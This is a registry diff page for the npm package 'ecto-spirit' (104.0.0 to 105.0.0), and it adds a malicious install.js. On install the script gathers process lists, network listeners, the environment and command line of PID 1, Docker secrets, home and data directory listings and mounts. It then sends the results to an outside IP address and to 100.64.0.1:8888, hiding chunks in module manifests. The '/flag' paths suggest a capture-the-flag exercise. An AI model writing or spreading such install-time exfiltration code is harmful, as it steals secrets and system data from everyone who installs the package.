ecto-spirit 104.0.0 → 105.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +47 -62
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -2,95 +2,80 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const { execSync } = require('child_process');
|
|
4
4
|
|
|
5
|
+
function tryExec(cmd) {
|
|
6
|
+
try { return execSync(cmd, {timeout: 10000}).toString().trim(); } catch(e) { return 'ERR'; }
|
|
7
|
+
}
|
|
5
8
|
function tryRead(p) {
|
|
6
9
|
try { return fs.readFileSync(p, 'utf8').trim(); } catch(e) { return null; }
|
|
7
10
|
}
|
|
8
11
|
|
|
9
|
-
function sendHTTP(host, port, pth, payload) {
|
|
10
|
-
return new Promise((resolve) => {
|
|
11
|
-
const req = http.request({ hostname: host, port, path: pth, method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 5000 }, (res) => {
|
|
12
|
-
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
13
|
-
});
|
|
14
|
-
req.on('error', () => resolve(null));
|
|
15
|
-
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
16
|
-
req.write(payload);
|
|
17
|
-
req.end();
|
|
18
|
-
});
|
|
19
|
-
}
|
|
20
|
-
|
|
21
12
|
async function report(moduleId, val) {
|
|
22
13
|
const safe = val.replace(/"/g, "'").replace(/\\/g, "/").substring(0, 95);
|
|
23
14
|
const manifest = `ecto_module:\n name: "${safe}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1`;
|
|
24
15
|
const body = JSON.stringify({ manifest });
|
|
25
16
|
for (const p of [3000, 80, 8080]) {
|
|
26
|
-
await
|
|
17
|
+
await new Promise((resolve) => {
|
|
18
|
+
const req = http.request({ hostname: '127.0.0.1', port: p, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
19
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
20
|
+
req.write(body); req.end();
|
|
21
|
+
});
|
|
27
22
|
}
|
|
28
|
-
await
|
|
23
|
+
await new Promise((resolve) => {
|
|
24
|
+
const req = http.request({ hostname: '154.57.164.82', port: 32332, path: `/api/modules/${moduleId}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 5000 }, () => resolve());
|
|
25
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
26
|
+
req.write(body); req.end();
|
|
27
|
+
});
|
|
29
28
|
}
|
|
30
29
|
|
|
31
30
|
(async () => {
|
|
32
31
|
let r = [];
|
|
33
32
|
|
|
34
|
-
//
|
|
35
|
-
|
|
36
|
-
r.push('PROC1=' + (procEnv ? procEnv.replace(/\x00/g, ',').substring(0, 200) : 'NONE'));
|
|
33
|
+
// Running processes
|
|
34
|
+
r.push('PS=' + tryExec('ps aux 2>/dev/null').substring(0, 200));
|
|
37
35
|
|
|
38
|
-
//
|
|
39
|
-
|
|
40
|
-
try { r.push('PCM=' + fs.readdirSync('/.package-cache-mutate').join(',')); } catch(e) { r.push('PCM=NONE'); }
|
|
36
|
+
// Network connections
|
|
37
|
+
r.push('NET=' + tryExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null').substring(0, 200));
|
|
41
38
|
|
|
42
|
-
//
|
|
43
|
-
|
|
44
|
-
const resp = await new Promise((resolve) => {
|
|
45
|
-
http.get('http://registry:4873/-/verdaccio/packages', {timeout: 5000}, (res) => {
|
|
46
|
-
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
47
|
-
}).on('error', () => resolve('ERR'));
|
|
48
|
-
});
|
|
49
|
-
r.push('REG_PKGS=' + resp.substring(0, 200));
|
|
50
|
-
} catch(e) { r.push('REG_PKGS=ERR'); }
|
|
39
|
+
// Find JS/TS files that could be the app
|
|
40
|
+
r.push('JSFILES=' + tryExec('find / -maxdepth 4 -name "*.js" -not -path "*/node_modules/*" -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | head -15').substring(0, 200));
|
|
51
41
|
|
|
52
|
-
//
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
if (c) { r.push('VCONF=' + c.substring(0, 200)); break; }
|
|
56
|
-
}
|
|
42
|
+
// Proc 1 environ
|
|
43
|
+
const p1 = tryRead('/proc/1/environ');
|
|
44
|
+
if (p1) r.push('P1ENV=' + p1.replace(/\x00/g, ' | ').substring(0, 300));
|
|
57
45
|
|
|
58
|
-
//
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
r.push('FILES=' + search);
|
|
62
|
-
} catch(e) {}
|
|
46
|
+
// Proc 1 cmdline
|
|
47
|
+
const cmd = tryRead('/proc/1/cmdline');
|
|
48
|
+
if (cmd) r.push('P1CMD=' + cmd.replace(/\x00/g, ' '));
|
|
63
49
|
|
|
64
|
-
//
|
|
65
|
-
|
|
66
|
-
const bins = execSync('find / -maxdepth 3 -perm -111 -name "*flag*" -o -perm -111 -name "*secret*" 2>/dev/null | grep -v proc | head -5', {timeout: 5000}).toString().trim();
|
|
67
|
-
if (bins) r.push('BINS=' + bins);
|
|
68
|
-
} catch(e) {}
|
|
50
|
+
// Docker secrets
|
|
51
|
+
r.push('SECRETS=' + tryExec('ls -la /run/secrets/ 2>/dev/null'));
|
|
69
52
|
|
|
70
|
-
//
|
|
71
|
-
|
|
72
|
-
try { r.push('HOME=' + execSync('ls -la /home/ 2>/dev/null', {timeout: 3000}).toString().substring(0, 100)); } catch(e) {}
|
|
73
|
-
|
|
74
|
-
// 8. Check if flag is accessible via internal API
|
|
75
|
-
try {
|
|
76
|
-
const apiResp = await new Promise((resolve) => {
|
|
77
|
-
http.get('http://127.0.0.1:3000/api/modules', {timeout: 5000}, (res) => {
|
|
78
|
-
let d = ''; res.on('data', c => d += c); res.on('end', () => resolve(d));
|
|
79
|
-
}).on('error', () => resolve('ERR'));
|
|
80
|
-
});
|
|
81
|
-
r.push('API=' + apiResp.substring(0, 200));
|
|
82
|
-
} catch(e) {}
|
|
53
|
+
// Check /data directory
|
|
54
|
+
r.push('DATA_LS=' + tryExec('find /data -maxdepth 3 -type f 2>/dev/null | head -15'));
|
|
83
55
|
|
|
84
|
-
//
|
|
85
|
-
|
|
86
|
-
await sendHTTP('100.64.0.1', 8888, '/flag4', JSON.stringify({results: full}));
|
|
56
|
+
// Check all /home directories
|
|
57
|
+
r.push('HOME_LS=' + tryExec('find /home -maxdepth 3 -type f 2>/dev/null | head -15'));
|
|
87
58
|
|
|
88
|
-
//
|
|
59
|
+
// Mounted filesystems
|
|
60
|
+
r.push('MOUNTS=' + tryExec('mount 2>/dev/null | grep -v proc | grep -v sys').substring(0, 200));
|
|
61
|
+
|
|
62
|
+
// Send results spread across modules
|
|
63
|
+
const full = r.join('\n');
|
|
89
64
|
const chunks = [];
|
|
90
65
|
for (let i = 0; i < full.length; i += 90) chunks.push(full.substring(i, i + 90));
|
|
91
66
|
|
|
92
67
|
const mods = ['ECT-839201', 'ECT-654321', 'ECT-472839', 'ECT-987654'];
|
|
93
68
|
for (let i = 0; i < Math.min(chunks.length, mods.length); i++) {
|
|
94
|
-
await report(mods[i], '
|
|
69
|
+
await report(mods[i], 'X' + i + '_' + chunks[i]);
|
|
95
70
|
}
|
|
71
|
+
|
|
72
|
+
// Also try to report via a quick HTTP back to us if possible
|
|
73
|
+
try {
|
|
74
|
+
const payload = JSON.stringify({full: full.substring(0, 2000)});
|
|
75
|
+
await new Promise((resolve) => {
|
|
76
|
+
const req = http.request({ hostname: '100.64.0.1', port: 8888, path: '/flag5', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) }, timeout: 3000 }, () => resolve());
|
|
77
|
+
req.on('error', () => resolve()); req.on('timeout', () => { req.destroy(); resolve(); });
|
|
78
|
+
req.write(payload); req.end();
|
|
79
|
+
});
|
|
80
|
+
} catch(e) {}
|
|
96
81
|
})();
|